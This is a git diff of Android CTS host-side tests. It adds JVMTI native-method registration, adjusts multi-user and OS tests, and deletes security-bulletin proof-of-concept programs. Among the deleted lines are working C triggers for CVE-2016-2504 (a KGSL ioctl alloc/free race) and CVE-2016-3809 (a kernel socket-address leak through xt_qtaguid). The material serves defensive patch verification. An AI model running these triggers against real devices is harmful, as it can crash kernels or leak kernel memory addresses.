diff --git a/hostsidetests/jvmti/base/jni/cts_agent.cpp b/hostsidetests/jvmti/base/jni/cts_agent.cpp
index 665a47e..3f3a836 100644
--- a/hostsidetests/jvmti/base/jni/cts_agent.cpp
+++ b/hostsidetests/jvmti/base/jni/cts_agent.cpp
@@ -25,12 +25,26 @@
 
 namespace art {
 
+extern void register_art_Main(jvmtiEnv*, JNIEnv*);
+extern void register_android_jvmti_cts_JvmtiRedefineClassesTest(jvmtiEnv*, JNIEnv*);
+extern void register_android_jvmti_cts_JvmtiTaggingTest(jvmtiEnv*, JNIEnv*);
+extern void register_android_jvmti_cts_JvmtiTrackingTest(jvmtiEnv*, JNIEnv*);
+
 static void InformMainAttach(jvmtiEnv* jenv,
                              JNIEnv* env,
                              const char* class_name,
                              const char* method_name) {
+  // Register native methods from available classes
+  // The agent is used with each test class, but we don't know which class is currently available.
+  // For that reason, we try to register the native methods in each one. Each function returns
+  // without throwing an error if the specified class can't be found.
+  register_art_Main(jenv, env);
+  register_android_jvmti_cts_JvmtiRedefineClassesTest(jenv, env);
+  register_android_jvmti_cts_JvmtiTaggingTest(jenv, env);
+  register_android_jvmti_cts_JvmtiTrackingTest(jenv, env);
+
   // Use JNI to load the class.
-  ScopedLocalRef<jclass> klass(env, FindClass(jenv, env, class_name, nullptr));
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env, class_name, nullptr));
   CHECK(klass.get() != nullptr) << class_name;
 
   jmethodID method = env->GetStaticMethodID(klass.get(), method_name, "()V");
diff --git a/hostsidetests/jvmti/base/jni/redefine.cpp b/hostsidetests/jvmti/base/jni/redefine.cpp
index f96108c..1a044ca 100644
--- a/hostsidetests/jvmti/base/jni/redefine.cpp
+++ b/hostsidetests/jvmti/base/jni/redefine.cpp
@@ -23,6 +23,7 @@
 
 #include "android-base/logging.h"
 #include "android-base/macros.h"
+#include "jni_binder.h"
 #include "jni_helper.h"
 #include "jvmti_helper.h"
 #include "jvmti.h"
@@ -172,5 +173,40 @@
   env->ReleaseByteArrayElements(dex_bytes, redef_bytes, 0);
 }
 
+static JNINativeMethod gMethods[] = {
+  { "redefineClass", "(Ljava/lang/Class;[B)I",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_redefineClass },
+
+  { "retransformClass", "(Ljava/lang/Class;)I",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_retransformClass },
+
+  { "setTransformationEvent", "(Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_setTransformationEvent },
+
+  { "clearTransformations", "()V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_clearTransformations },
+
+  { "setPopTransformations", "(Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_setPopTransformations },
+
+  { "pushTransformationResult", "(Ljava/lang/String;[B)V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_pushTransformationResult },
+};
+
+void register_android_jvmti_cts_JvmtiRedefineClassesTest(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env,
+          "android/jvmti/cts/JvmtiRedefineClassesTest", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for JvmtiRedefineClassesTest class";
+  }
+}
+
 }  // namespace art
 
diff --git a/hostsidetests/jvmti/base/jni/tagging.cpp b/hostsidetests/jvmti/base/jni/tagging.cpp
index 372805b..35d83d7 100644
--- a/hostsidetests/jvmti/base/jni/tagging.cpp
+++ b/hostsidetests/jvmti/base/jni/tagging.cpp
@@ -18,6 +18,7 @@
 
 #include "android-base/logging.h"
 #include "android-base/macros.h"
+#include "jni_binder.h"
 #include "jni_helper.h"
 #include "jvmti_helper.h"
 #include "jvmti.h"
@@ -127,5 +128,48 @@
   return CreateObjectArray(env, 3, "java/lang/Object", callback);
 }
 
+static JNINativeMethod gMethodsForMain[] = {
+  { "setTag", "(Ljava/lang/Object;J)V",
+          (void*)Java_android_jvmti_cts_JniBindings_setTag },
+
+  { "getTag", "(Ljava/lang/Object;)J",
+          (void*)Java_android_jvmti_cts_JniBindings_getTag },
+};
+
+void register_art_Main(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env, "art/Main", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethodsForMain,
+          sizeof(gMethodsForMain) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for Main class";
+  }
+}
+
+static JNINativeMethod gMethods[] = {
+  { "getTaggedObjects", "([JZZ)[Ljava/lang/Object;",
+          (void*)Java_android_jvmti_cts_JvmtiTaggingTest_getTaggedObjects },
+};
+
+void register_android_jvmti_cts_JvmtiTaggingTest(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env,
+          "android/jvmti/cts/JvmtiTaggingTest", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for JvmtiTaggingTest class";
+  }
+}
+
 }  // namespace art
 
diff --git a/hostsidetests/jvmti/base/jni/tracking.cpp b/hostsidetests/jvmti/base/jni/tracking.cpp
index a07d653..425fd63 100644
--- a/hostsidetests/jvmti/base/jni/tracking.cpp
+++ b/hostsidetests/jvmti/base/jni/tracking.cpp
@@ -21,6 +21,7 @@
 
 #include "android-base/logging.h"
 #include "android-base/stringprintf.h"
+#include "jni_binder.h"
 #include "jvmti_helper.h"
 #include "scoped_local_ref.h"
 #include "scoped_utf_chars.h"
@@ -93,4 +94,30 @@
   return env->NewStringUTF(result.c_str());
 }
 
+static JNINativeMethod gMethods[] = {
+  { "setupObjectAllocCallback", "(Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiTrackingTest_setupObjectAllocCallback },
+
+  { "enableAllocationTracking", "(Ljava/lang/Thread;Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiTrackingTest_enableAllocationTracking },
+
+  { "getAndResetAllocationTrackingString", "()Ljava/lang/String;",
+          (void*)Java_android_jvmti_cts_JvmtiTrackingTest_getAndResetAllocationTrackingString },
+};
+
+void register_android_jvmti_cts_JvmtiTrackingTest(jvmtiEnv* jenv, JNIEnv* env) {
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env,
+          "android/jvmti/cts/JvmtiTrackingTest", nullptr));
+  if (klass.get() == nullptr) {
+    env->ExceptionClear();
+    return;
+  }
+
+  env->RegisterNatives(klass.get(), gMethods, sizeof(gMethods) / sizeof(JNINativeMethod));
+  if (env->ExceptionCheck()) {
+    env->ExceptionClear();
+    LOG(ERROR) << "Could not register natives for JvmtiTrackingTest class";
+  }
+}
+
 }  // namespace art
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 3fcbba9..01e7795 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -29,13 +29,13 @@
  * Base class for multi user tests.
  */
 public class BaseMultiUserTest implements IDeviceTest {
-    protected static final int USER_SYSTEM = 0; // From the UserHandle class.
-
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
     protected boolean mIsSplitSystemUser;
+    protected int mInitialUserId;
     protected int mPrimaryUserId;
-    /** Users we shouldn't delete in the tests */
+
+    /** Users we shouldn't delete in the tests. */
     private ArrayList<Integer> mFixedUsers;
 
     private ITestDevice mDevice;
@@ -44,22 +44,21 @@
     public void setUp() throws Exception {
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
         mIsSplitSystemUser = checkIfSplitSystemUser();
+
+        mInitialUserId = getDevice().getCurrentUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
-        mFixedUsers = new ArrayList<>();
-        mFixedUsers.add(mPrimaryUserId);
-        if (mPrimaryUserId != USER_SYSTEM) {
-            mFixedUsers.add(USER_SYSTEM);
-        }
-        getDevice().switchUser(mPrimaryUserId);
-        removeTestUsers();
+
+        // Test should not modify / remove any of the existing users.
+        mFixedUsers = getDevice().listUsers();
     }
 
     @After
     public void tearDown() throws Exception {
-        if (getDevice().getCurrentUser() != mPrimaryUserId) {
-            CLog.w("User changed during test. Switching back to " + mPrimaryUserId);
-            getDevice().switchUser(mPrimaryUserId);
+        if (getDevice().getCurrentUser() != mInitialUserId) {
+            CLog.w("User changed during test. Switching back to " + mInitialUserId);
+            getDevice().switchUser(mInitialUserId);
         }
+        // Remove the users created during this test.
         removeTestUsers();
     }
 
@@ -131,4 +130,4 @@
                 || "1".equals(commandOuput) || "true".equals(commandOuput)
                 || "on".equals(commandOuput);
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 9a4f829..1d8a13e 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -45,19 +45,11 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
-    private int mInitialUserId;
-    private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
+    private static final long LOGCAT_POLL_INTERVAL_MS = 1000;
     private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 180000;
 
     @Rule public AppCrashRetryRule appCrashRetryRule = new AppCrashRetryRule();
 
-    @Before
-    public void setUp() throws Exception {
-        CLog.e("setup_CreateUsersNoAppCrashesTest");
-        super.setUp();
-        mInitialUserId = getDevice().getCurrentUser();
-    }
-
     @Presubmit
     @Test
     public void testCanCreateGuestUser() throws Exception {
@@ -70,7 +62,6 @@
                 false /* ephemeral */);
         assertSwitchToNewUser(userId);
         assertSwitchToUser(userId, mInitialUserId);
-
     }
 
     @Presubmit
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
index ff05d8c..e2976c2 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
@@ -62,10 +62,10 @@
 
         final Intent intent = new Intent();
         intent.setComponent(new ComponentName(APP2_PACKAGE, SERVICE_NAME));
-        // Needs to use BIND_ALLOW_OOM_MANAGEMENT and BIND_NOT_FOREGROUND so app2 does not run in
+        // Needs to use BIND_NOT_FOREGROUND so app2 does not run in
         // the same process state as app
         mContext.bindService(intent, mServiceConnection, Context.BIND_AUTO_CREATE
-                | Context.BIND_ALLOW_OOM_MANAGEMENT | Context.BIND_NOT_FOREGROUND);
+                | Context.BIND_NOT_FOREGROUND);
         cv.block(TIMEOUT_MS);
         if (mService == null) {
             throw new IllegalStateException(
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 086f787..c557c9e 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -86,12 +86,22 @@
      */
     @AppModeFull(reason = "Error message is different for instant app (Activity does not exist)")
     public void testNonExportedActivities() throws Exception {
-        // Attempt to launch the non-exported activity in the test app
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
-        final String output = outputReceiver.getOutput();
+        // Run as unroot
+        boolean wasRoot = mDevice.isAdbRoot();
+        try {
+            mDevice.disableAdbRoot();
+            // Attempt to launch the non-exported activity in the test app
+            CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+            mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
+            final String output = outputReceiver.getOutput();
 
-        assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+            assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+        } finally {
+            // Restore back to original root state
+            if (wasRoot) {
+                mDevice.enableAdbRoot();
+            }
+        }
     }
 
     public void testIntentFilterHostValidation() throws Exception {
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 00962d0..09bee64 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -108,7 +108,7 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-0-7")
     public void testConfigStackProtectorStrong() throws Exception {
         assertTrue("Linux kernel must have Stack Protector enabled: " +
                 "CONFIG_CC_STACKPROTECTOR_STRONG=y",
@@ -121,8 +121,11 @@
      *
      * @throws Exception
      */
-    @CddTest(requirement="9.7")
+    @CddTest(requirement="9.7/C-0-8")
     public void testConfigROData() throws Exception {
+        if (configSet.contains("CONFIG_UH_RKP=y"))
+            return;
+
         assertTrue("Linux kernel must have RO data enabled: " +
                 "CONFIG_DEBUG_RODATA=y or CONFIG_STRICT_KERNEL_RWX=y",
                 configSet.contains("CONFIG_DEBUG_RODATA=y") ||
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 0c9ebe3..8014243 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -27,7 +27,6 @@
         <option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
         <option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
         <option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
-        <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
         <option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
         <option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
         <option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
@@ -37,7 +36,6 @@
         <option name="push" value="CVE-2016-8431->/data/local/tmp/CVE-2016-8431" />
         <option name="push" value="CVE-2016-8432->/data/local/tmp/CVE-2016-8432" />
         <option name="push" value="CVE-2016-8434->/data/local/tmp/CVE-2016-8434" />
-        <option name="push" value="CVE-2016-2504->/data/local/tmp/CVE-2016-2504" />
 
         <!-- Bulletin 2016-04 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
@@ -52,7 +50,6 @@
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
-        <option name="push" value="CVE-2016-3809->/data/local/tmp/CVE-2016-3809" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
 
         <!-- Bulletin 2016-09 -->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
deleted file mode 100644
index 51e6dd8..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-2504
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-
-LOCAL_CFLAGS += -Werror -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
-
-$(CTS_TESTCASES_OUT)/CVE-2016-2504 : $(LOCAL_BUILT_MODULE) | $(ACP)
-	$(copy-file-to-target)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
deleted file mode 100644
index b272328..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2504/poc.c
+++ /dev/null
@@ -1,160 +0,0 @@
-/**
-* Copyright (C) 2018 The Android Open Source Project
-*
-* Licensed under the Apache License, Version 2.0 (the "License");
-* you may not use this file except in compliance with the License.
-* You may obtain a copy of the License at
-*
-*      http://www.apache.org/licenses/LICENSE-2.0
-*
-* Unless required by applicable law or agreed to in writing, software
-* distributed under the License is distributed on an "AS IS" BASIS,
-* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-* See the License for the specific language governing permissions and
-* limitations under the License.
-*/
-
-#define _GNU_SOURCE
-#include <errno.h>
-#include <fcntl.h>
-#include <pthread.h>
-#include <signal.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/ioctl.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-/* ioctls */
-#define KGSL_IOC_TYPE 0x09
-
-enum kgsl_user_mem_type {
-  KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
-  KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
-  KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
-  KGSL_USER_MEM_TYPE_ION = 0x00000003,
-  KGSL_USER_MEM_TYPE_MAX = 0x00000007,
-};
-
-/*
- * Unfortunately, enum kgsl_user_mem_type starts at 0 which does not
- * leave a good value for allocated memory. In the flags we use
- * 0 to indicate allocated memory and thus need to add 1 to the enum
- * values.
- */
-#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT)
-
-#define KGSL_MEMFLAGS_NOT_USERMEM 0
-#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM)
-#define KGSL_MEMFLAGS_USERMEM_ASHMEM                                           \
-  KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM)
-#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR)
-#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION)
-
-/* add a block of pmem, fb, ashmem or user allocated address
- * into the GPU address space */
-struct kgsl_map_user_mem {
-  int fd;
-  unsigned long gpuaddr; /*output param */
-  size_t len;
-  size_t offset;
-  unsigned long hostptr; /*input param */
-  enum kgsl_user_mem_type memtype;
-  unsigned int flags;
-};
-
-#define IOCTL_KGSL_MAP_USER_MEM                                                \
-  _IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
-
-/* remove memory from the GPU's address space */
-struct kgsl_sharedmem_free {
-  unsigned long gpuaddr;
-};
-
-#define IOCTL_KGSL_SHAREDMEM_FREE                                              \
-  _IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
-
-#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0
-#define KGSL_MEMFLAGS_USERMEM_SHIFT 5
-
-#define TRUE 1
-
-struct kgsl_map_user_mem allocArg;
-struct kgsl_sharedmem_free freeArg;
-
-int fd;
-int thread_exit = 1;
-
-void *alloc_thread(void*);
-void *free_thread(void*);
-void kgsl_poc(void);
-
-void *alloc_thread() {
-  while (thread_exit) {
-    allocArg.fd = -1;
-    allocArg.gpuaddr = 0x0;
-    allocArg.len = 4096;
-    allocArg.offset = 0;
-    allocArg.hostptr = (unsigned long)malloc(allocArg.len);
-    allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR;
-    allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR;
-
-    int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg);
-
-    if (ret < 0) {
-      printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno,
-             strerror(errno));
-      return NULL;
-    } else if (!allocArg.gpuaddr) {
-      allocArg.gpuaddr = allocArg.hostptr;
-    }
-
-    volatile unsigned long *pGPU = &allocArg.gpuaddr;
-
-    while (*pGPU) {
-      if (thread_exit)
-        break;
-    }
-
-    free((void *)allocArg.hostptr);
-  }
-  return NULL;
-}
-
-void *free_thread() {
-  volatile unsigned long *pGPU = &allocArg.gpuaddr;
-  freeArg.gpuaddr = 0x0;
-
-  while (!freeArg.gpuaddr) {
-    freeArg.gpuaddr = *pGPU;
-  }
-
-  while (thread_exit) {
-    ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg);
-    *pGPU = 0x0;
-  }
-  return NULL;
-}
-
-void kgsl_poc() {
-  pthread_t allocTid, freeTid;
-  fd = open("/dev/kgsl-3d0", 0);
-
-  if (fd < 0) {
-    printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
-           strerror(errno));
-    exit(-1);
-  }
-
-  pthread_create(&allocTid, NULL, alloc_thread, NULL);
-  pthread_create(&freeTid, NULL, free_thread, NULL);
-  pthread_join(allocTid, NULL);
-  pthread_join(freeTid, NULL);
-}
-int main() {
-  kgsl_poc();
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
deleted file mode 100644
index 615d39b..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-3809
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_SHARED_LIBRARIES := liblog
-
-LOCAL_CFLAGS += -Wall -Werror
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
deleted file mode 100644
index 4f4805f..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-3809/poc.c
+++ /dev/null
@@ -1,92 +0,0 @@
-/**
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <cutils/log.h>
-#include <fcntl.h>
-#include <stdio.h>
-#include <string.h>
-#include <sys/socket.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <unistd.h>
-
-#define BUF_SIZE 2048
-
-int main() {
-  int sfd, fd, ret;
-  char buf[BUF_SIZE];
-  char wbuf[BUF_SIZE];
-
-  ret = -1;
-  sfd = socket(AF_INET, SOCK_DGRAM, 0);
-  if (sfd == -1) {
-    perror("socket create");
-    return 0;
-  }
-  snprintf(buf, BUF_SIZE, "/proc/self/net/xt_qtaguid/ctrl");
-  fd = open(buf, O_RDWR);
-  if (fd == -1) {
-    perror("canot open xt_qtaguid ctrl");
-    close(sfd);
-    return 0;
-  }
-
-  /* clean all tags */
-  snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("first clean");
-    goto err;
-  }
-
-  unsigned long long tag = ((unsigned long long)0x13371) << 32;
-  /* add sock tag */
-  snprintf(wbuf, BUF_SIZE - 2, "t %d %llu %u", sfd, tag, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("add sock tag");
-    goto err;
-  }
-
-  ret = read(fd, buf, 22);
-  if (ret < 10) {
-    perror("canot read or read error");
-    goto err;
-  }
-  buf[21] = '\0';
-  char *temp = buf + 5;
-  printf("sock addr: 0x%s length=%d \n", temp, (int)strlen(temp));
-  short address = (short)*temp;
-  printf("addres sis %d", address);
-  if (address != 48) // ascii value of 0 is 48
-    ALOGE("CVE-2016-3809 test case failed");
-  else
-    ALOGE("CVE-2016-3809 test case passed");
-
-  /* clean all tags again */
-  snprintf(wbuf, BUF_SIZE - 2, "d %d %u", 0, getuid());
-  ret = write(fd, wbuf, strlen(wbuf));
-  if (ret < 0) {
-    perror("cannot clean all tags at last time");
-    goto err;
-  }
-
-err:
-  close(sfd);
-  close(fd);
-  return 0;
-}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
deleted file mode 100644
index 204ace1..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8424
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
deleted file mode 100644
index 4460b88..0000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
+++ /dev/null
@@ -1,138 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-
-#include <stdlib.h>
-#include <errno.h>
-#include <unistd.h>
-#include <stdio.h>
-#include <dirent.h>
-#include <string.h>
